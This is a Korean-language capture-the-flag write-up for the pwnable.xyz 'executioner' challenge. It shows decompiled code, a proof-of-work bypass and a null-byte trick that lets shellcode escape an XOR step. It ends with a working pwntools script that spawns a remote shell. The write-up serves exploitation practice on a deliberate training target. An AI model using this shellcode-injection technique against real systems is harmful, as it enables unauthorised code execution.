[pwnable.xyz]executioner

solve_pow()함수 통과하면 inpt에 입력할 수 있다. 근데 입력한 값을 랜덤값과 xor해준다. 이후 v4는 메모리 매핑해주고 우리가 xor한 값을 참조해 영역을 실행권한도 존재해서 실행할 수 있다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  _QWORD *v4; // rax
  int i; // [rsp+0h] [rbp-20h]
  int fd; // [rsp+4h] [rbp-1Ch]

  setup();
  solve_pow();
  puts("Shellcode executioner");
  fd = open("/dev/urandom", 0);
  if ( fd != -1 )
  {
    read(fd, key, 127uLL);
    close(fd);
    printf("Input: ", key);
    read(0, inpt, 127uLL);
    for ( i = 0; i < strlen(inpt); ++i )
      inpt[i] ^= key[i];
    v4 = mmap(0LL, 0x1000uLL, 7, 34, 0, 0LL);
    *v4 = *inpt;
    v4[1] = qword_202288;
    v4[2] = qword_202290;
    v4[3] = qword_202298;
    v4[4] = qword_2022A0;
    v4[5] = qword_2022A8;
    v4[6] = qword_2022B0;
    v4[7] = qword_2022B8;
    v4[8] = qword_2022C0;
    v4[9] = qword_2022C8;
    v4[10] = qword_2022D0;
    v4[11] = qword_2022D8;
    v4[12] = qword_2022E0;
    v4[13] = qword_2022E8;
    v4[14] = qword_2022F0;
    v4[15] = qword_2022F8;
    JUMPOUT(__CS__, v4);
  }
  puts("error");
  return 1;
}

우선 이 solve_pow() 함수를 통과해야한다. 여기서도 랜덤값을 가져와서 두개 입력해서 더한 값이 랜덤값과 같아야한다. 근데 문제는 sleep() 해주는데 인자가 두개 입력한 걸 곱한 값이다. 근데 둘중 하나 0으로 하면 그냥 sleep(0) 되서 통과할 수 있다.

unsigned __int64 solve_pow()
{
  unsigned int buf; // [rsp+8h] [rbp-18h]
  int v2; // [rsp+Ch] [rbp-14h]
  int v3; // [rsp+10h] [rbp-10h]
  int fd; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  fd = open("/dev/urandom", 0);
  if ( fd == -1 )
  {
    puts("Can't open /dev/urandom");
    exit(1);
  }
  buf = 0;
  read(fd, &buf, 4uLL);
  close(fd);
  v2 = 0;
  v3 = 0;
  printf("POW: x + y == 0x%x\n", buf);
  printf("> ");
  if ( _isoc99_scanf("%d %d", &v2, &v3) != 2 )
  {
    puts("scanf error");
    exit(1);
  }
  getchar();
  if ( v3 + v2 != buf )
  {
    puts("POW failed");
    exit(1);
  }
  puts("Loading challenge... ");
  sleep(v2 * v3);
  return __readfsqword(0x28u) ^ v5;
}

우선 위에서 말한대로 solve_pow 함수 통과하면 이후에 key와 xor하는데 strlen(inpt)을 해준다. 여기서 트릭이 널바이트 넣으면 거기까지밖에 문자로 인식 안한다는 것이다. 그래서 널바이트를 삽입하면 뒤에는 xor안할 수 있다. 이후 쉘코드 넣으면 쉘을 띄울 수 있다.

exploit.py

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
e = ELF('./challenge')
p = remote('svc.pwnable.xyz',30025)
#p = process('./challenge')
win = e.symbols['win']

## solve pow
p.recvuntil('POW: x + y ==')
buf = int(p.recvline().strip(),16)
p.sendlineafter('> ','0 ' + str(buf))

payload = '\x00'*2
payload += asm(shellcraft.amd64.sh())
p.sendafter(':',payload)

p.interactive()